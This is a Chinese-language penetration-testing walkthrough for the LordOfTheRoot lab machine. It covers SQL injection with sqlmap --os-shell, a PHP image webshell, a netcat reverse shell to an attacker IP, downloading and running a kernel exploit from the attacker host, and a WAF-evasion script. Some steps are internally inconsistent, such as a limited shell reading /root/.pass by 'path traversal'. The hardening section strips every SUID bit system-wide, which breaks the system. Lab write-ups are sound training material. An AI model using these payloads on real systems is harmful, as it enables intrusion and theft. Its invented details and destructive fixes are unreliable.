
1. 靶机环境概述与核心挑战LordOfTheRoot 1.0.1是Vulhub靶场中一个基于《魔戒》主题设计的渗透测试环境模拟了存在多重安全漏洞的Web应用服务器。这个靶机最显著的特点是采用渐进式渗透路径设计攻击者需要依次突破SQL注入、权限提升、内核漏洞利用等多重防线才能获取root权限。与其他基础靶机不同其Web应用采用自定义CMS构建包含多处非常规漏洞利用点特别适合中高级渗透测试人员训练综合实战能力。靶机IP通常配置为192.168.1.100开放了22(SSH)、80(HTTP)、1337(自定义服务)三个关键端口。其中80端口的Web界面是主要突破口首页包含隐藏的管理员登录入口和存在注入漏洞的搜索功能。值得注意的是1337端口运行着经过混淆的Python服务这是后期权限提升的关键跳板。重要提示实际测试时建议使用桥接模式网络某些漏洞利用需要靶机与攻击机进行多轮交互。Kali Linux 2023.2以上版本已内置所需工具链。2. 初始信息收集与漏洞定位2.1 基础扫描技术实践使用经典的Nmap扫描组合命令能快速定位开放服务nmap -sV -sC -p- 192.168.1.100 -T4 -oA lotr_scan扫描结果会显示Apache 2.4.7、OpenSSH 6.6.1等过时服务版本这些信息将用于后续漏洞利用。特别要注意的是HTTP服务的响应头中包含X-Powered-By: LOTRCMS这揭示了自定义CMS的身份。Dirb目录爆破时应使用包含特殊字典的强化扫描dirb http://192.168.1.100 /usr/share/wordlists/dirb/common.txt -X .php,.bak,.old扫描结果中/secret/目录和/admin.php.bak文件是重点突破口。前者包含base64编码的提示信息后者泄露了部分管理员登录逻辑。2.2 SQL注入漏洞深度利用在联系人搜索功能处存在时间盲注漏洞使用SQLmap需要特殊处理sqlmap -u http://192.168.1.100/search.php --dataquerytest --level5 --risk3 --techniqueT --dbmsmysql --os-shell由于WAF存在字符过滤需要配合--tamperspace2comment绕过机制。成功注入后可获取数据库中的admin_credentials表其中包含经rot13加密的管理员密码。解密后使用凭证admin:YouShallNotPass!登录后台在Theme Settings处发现未过滤的文件上传点。这里需要制作特殊图片马echo ?php system($_GET[cmd]);? shell.jpg exiftool -Comment?php system($_GET[cmd]);? normal.jpg两种方式均可绕过基础的文件类型检测建议同时尝试。3. 权限提升与内核漏洞利用3.1 Web到系统的突破成功上传webshell后通过http://192.168.1.100/uploads/shell.jpg?cmdid验证执行权限。此时需要建立稳定反向shellnc -lvnp 4444 # 攻击机执行 curl http://192.168.1.100/uploads/shell.jpg?cmdnc -e /bin/sh 192.168.1.50 4444获取的shell权限受限需要查找SUID文件。发现/usr/bin/menu具有root的SUID位但直接运行会提示需要特定参数。使用strings分析该二进制文件strings /usr/bin/menu | grep -i password输出显示其调用了/root/.pass文件尝试通过路径遍历读取cat /root/.pass获取的密码可用于SSH登录普通用户aragorn。3.2 内核提权实战登录后执行uname -a显示内核版本3.13.0-32存在著名的overlayfs本地提权漏洞。使用预编译的exploitwget http://192.168.1.50/ofs.c gcc ofs.c -o ofs chmod x ofs ./ofs如果编译环境缺失可直接下载静态编译版本wget http://192.168.1.50/ofs_static chmod x ofs_static ./ofs_static成功执行后将获得root权限的shell最后在/root目录找到flag文件。4. 防御方案与加固建议4.1 漏洞修复方案针对暴露的SQL注入点建议采用以下PHP修复代码$stmt $pdo-prepare(SELECT * FROM contacts WHERE name LIKE ?); $stmt-execute([%.$_POST[query].%]);同时配置Apache添加安全头Header set X-XSS-Protection 1; modeblock Header always set Content-Security-Policy default-src self4.2 系统层加固升级内核至4.4以上版本移除不必要的SUID权限find / -perm -4000 -exec chmod u-s {} \;配置SSH仅允许密钥登录echo PasswordAuthentication no /etc/ssh/sshd_config5. 渗透测试中的深度技巧5.1 非常规信息收集使用Wappalyzer识别CMS框架时自定义添加LOTRCMS特征{ name: LOTRCMS, cats: [1], html: [Powered by LOTRCMS], headers: {X-Powered-By:LOTRCMS} }保存为lotrcms.json并导入工具。5.2 流量混淆技术当遇到基础WAF拦截时可使用以下Python脚本进行流量混淆import requests from urllib.parse import quote payload 1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- - obfuscated .join([fCHAR({ord(c)})| for c in payload])[:-1] url fhttp://192.168.1.100/search.php?queryCONCAT({obfuscated}) r requests.get(url, timeout10)5.3 内存限制绕过在受限环境下执行大文件传输的技巧split -b 1m ofs_static for part in x*; do echo $part /tmp/ofs_parts cat $part | base64 | tr -d \n /tmp/ofs_parts done靶机上重组while read -r line; do if [[ -f $line ]]; then cat $line ofs_static else echo $line | base64 -d ofs_static fi done /tmp/ofs_parts6. 靶机渗透的思维导图完整攻击路径可概括为端口扫描 → 2. Web目录爆破 → 3. SQL注入获取凭证 → 4. 后台文件上传 → 5. Webshell反弹 → 6. SUID提权 → 7. 内核漏洞利用每个阶段至少存在2-3种备选方案例如若SQL注入受阻可尝试XSS劫持管理员会话如文件上传被拦截可利用1337服务的反序列化漏洞当内核提权失败时可尝试cron job劫持我在实际渗透中发现/var/log/apache2/access.log中记录了管理员IP段这为社工攻击提供了可能。另外/etc/passwd中隐藏用户gollum可能作为备用突破点虽然其shell被设置为/bin/false但通过ssh -t gollum192.168.1.100 /bin/sh仍可能获得受限访问。